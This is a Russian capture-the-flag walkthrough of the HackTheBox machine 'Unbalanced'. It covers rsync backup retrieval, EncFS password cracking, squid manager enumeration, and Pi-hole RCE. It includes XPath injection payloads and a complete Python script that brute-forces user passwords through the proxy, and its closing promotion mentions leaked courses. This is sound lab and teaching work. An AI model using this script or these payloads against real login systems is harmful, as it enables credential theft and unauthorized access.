![](https://habrastorage.org/webt/sp/of/ga/spofgavu5ue6zfojwhthepatsdq.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье разбираемся с резервной копией в rsync, подбираем пароль для EncFS, работаем со squid прокси-сервером, эксплуатируем XPath инъекцию и эксплуатируем RCE в Pi-hole.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.200, который я добавляю в /etc/hosts.
10.10.10.200 unbalanced.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![](https://habrastorage.org/webt/9x/od/3l/9xod3lshx22owh-lo7d5tkoyak8.png)
И мы наблюдаем службы SSH, rsync и прокси squid. Rsync — программа для UNIX-подобных систем, которая выполняет синхронизацию файлов и каталогов в двух местах с минимизированием трафика. Rsync может копировать или отображать содержимое каталога и копировать файлы, опционально используя сжатие и рекурсию.
Посмотрим список доступных модулей.
rsync --list-only rsync://unbalanced.htb:873
![](https://habrastorage.org/webt/mk/qz/dd/mkqzdd4furnengngmto3lid93uo.png)
Скопируем conf_backups.
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
![](https://habrastorage.org/webt/li/nq/6e/linq6e0tod-7pf1schz41jb9yea.png)
По наличию файла .encfs6.xml понимаем, что это шифрованный том EncFS. Давайте получим хеш пароля.
![](https://habrastorage.org/webt/xk/_s/73/xk_s73myo0ionlt7bu7nww7f-ka.png)
И переберем его.
![](https://habrastorage.org/webt/do/iz/5f/doiz5f6ne6xpsg1s8cnbpqcrf1e.png)
Таким образом, мы получаем пароль, с помощью которого выполнено шифрование. Осталось монтировать раздел.
![](https://habrastorage.org/webt/xh/s6/kc/xhs6kcsfblk1_ufhmpg0pj8yll4.png)
И получаем уже нормальный список файлов.
![](https://habrastorage.org/webt/x6/wt/st/x6wtstqbjnheqby-ysiyqvtoq_8.png)
В основном это файлы конфигураций, и нас больше всего интересует squid.conf. Давайте посмотрим все незакоментированные строки.
cat squid.conf | grep -v '^#' | uniq
![](https://habrastorage.org/webt/6a/1t/4a/6a1t4ap0if2tg_63ko6n7xh6flo.png)
![](https://habrastorage.org/webt/7m/at/c3/7matc3adbkb8o4gkminsxmdmjms.png)
Сохраняем пароль и отмечаем новое доменное имя, которое добавляем в /etc/hosts. Так же смотрим списки доступа ACL.
10.10.10.200 intranet.unbalanced.htb
Установим в браузере прокси и обратимся по найденному доменному имени к веб серверу.
![](https://habrastorage.org/webt/uj/jd/of/ujjdofgc6qluabasvk23aevq6m8.png)
Нас встречает форма авторизации. Просидев с ней некоторое время, было принято решение дальше работать со squid.
Entry Point
Давайте посмотрим доступные опции.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
![](https://habrastorage.org/webt/v3/6h/yr/v36hyr41fbf2ukhv6ffuc0vc2ge.png)
И мы можем найти еще доменные имена.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
![](https://habrastorage.org/webt/ra/ae/qp/raaeqpktcwrrmsjoh5xptxtdikm.png)
И есть еще три имени. Добавляем их в /etc/hosts (последнее было подобрано логически).
172.31.179.2 intranet-host2.unbalanced.htb
172.31.179.3 intranet-host3.unbalanced.htb
172.31.179.1 intranet.unbalanced.htb
И на первом же видим, что данный сайт — временное решение.
![](https://habrastorage.org/webt/mf/sx/kf/mfsxkfpo4eboong00pg3dqw3gsc.png)
Дальше попадаем на такую же форму авторизации.
USER
Снова ее тестируем и получаем реакцию на запрос ‘or’’=’.
![](https://habrastorage.org/webt/cp/xp/vp/cpxpvpetjhbomb1pv_wyju-o7ny.png)
![](https://habrastorage.org/webt/iy/6b/ww/iy6bwwsronc107n0g0ao-fkqm14.png)
И получаем список пользователей. Это XPath-иньекция. Дело в том, что с помощью определенных запросов мы можем узнать пароли пользователей для данных имен.
Так для начала можно определить длину пароля с помощью функции string-length. Тестируем на логине. Мы знаем, что верная длина 5, поробуем условие с 4 и с 5 и увидим разницу.
![](https://habrastorage.org/webt/up/zu/6i/upzu6ia3tlpd-lzzlxn8ltdkloy.png)
![](https://habrastorage.org/webt/dk/n8/oq/dkn8oqqaecgy7hl-yml6tb3pnt4.png)
Разница видна. После определения длина, мы можем по одному символу достать пароль. Так же тестируем на логине. Возьмем первую букву и сравним ее с ‘a’, а потом с ‘b’.
![](https://habrastorage.org/webt/hf/5c/5c/hf5c5cg_ux-_tazqze2auxcmgzg.png)
![](https://habrastorage.org/webt/q3/8r/sl/q38rslnjohu3f4plqiub3h4ylss.png)
Разница также видна. Напишем код, который подобным образом переберет все пароли для каждого логина.
import requests
import string
url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']
pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"
for user in users:
for l in range(1,25):
data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
if 'Invalid credentials.' not in request.text:
passwd = ''
for num in range(l):
for c in string.printable[:94]:
data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
if 'Invalid credentials.' not in request.text:
passwd += c
break
print(user +" : "+ passwd + " "*10)
break
![](https://habrastorage.org/webt/ym/9k/db/ym9kdb49ao1ba0ibu0hixmueg1e.png)
И первый пользователей имеет доступ по SSH с найденным паролем.
![](https://habrastorage.org/webt/o4/rr/sg/o4rrsgb1xdwcgjq2oziqzvv_exu.png)
ROOT
В домашней директории пользователя находим TODO список.
![](https://habrastorage.org/webt/d-/nb/zx/d-nbzxu2iorsb5vds-k4jf7idrm.png)
И мы видим, что еще не выполнены задачи, связанные с Pi-hole (пароль admin). Но просмотреть открытые порты не вышло, так как отсутствует netstat. Тогда можно воспользоваться данным скриптом.
![](https://habrastorage.org/webt/tc/wp/fp/tcwpfp0btlpojh1rye20as7v4ps.png)
Открыты порты 8080 и 5553.
![](https://habrastorage.org/webt/q7/xp/uc/q7xpucgz1yxb-mcqhknhxvtcqeo.png)
![](https://habrastorage.org/webt/lc/4f/np/lc4fnpkyxpfnajovuubolpdg2ks.png)
И в ответе находим еще один домен и соответствующий ему IP. Прокинем порт и обратимся через браузер.
ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb
![](https://habrastorage.org/webt/bi/nh/qm/binhqmrq-hfpbqgpafkb9rawzpc.png)
Переходи на страницу и авторизуем с паролем admin. В самом низу видим версию.
![](https://habrastorage.org/webt/fy/dz/t4/fydzt4dyyveds-7v1xdvsbtfufc.png)
Посмотрим эксплоиты.
![](https://habrastorage.org/webt/l7/d9/l2/l7d9l2_hhz3hlk9l7s4upoyri7e.png)
![](https://habrastorage.org/webt/gr/j0/pc/grj0pcfmdzpidmjkzxgohbfjcmu.png)
Давайте запустим листенер и выполним эксплоит.
![](https://habrastorage.org/webt/2-/uj/6y/2-uj6yreohfpkwkcu4vjbesmjfi.png)
![](https://habrastorage.org/webt/76/nm/o9/76nmo9jjnclrzbhqcxbagngqlwa.png)
Посмотрим файлы рута и найдем упомянутый в TODO листе скрипт.
![](https://habrastorage.org/webt/qo/_s/jt/qo_sjt2bf5nfwo1lqhu6h61fkm4.png)
![](https://habrastorage.org/webt/rx/ze/en/rxzeeng4pa_73uzk3dxd8gznh38.png)
В нем присутствует пароль.
![](https://habrastorage.org/webt/zx/2x/bo/zx2xbohbizum93nugzo-vat9wpi.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
0ri0n
Вот же молодец, длинная схема.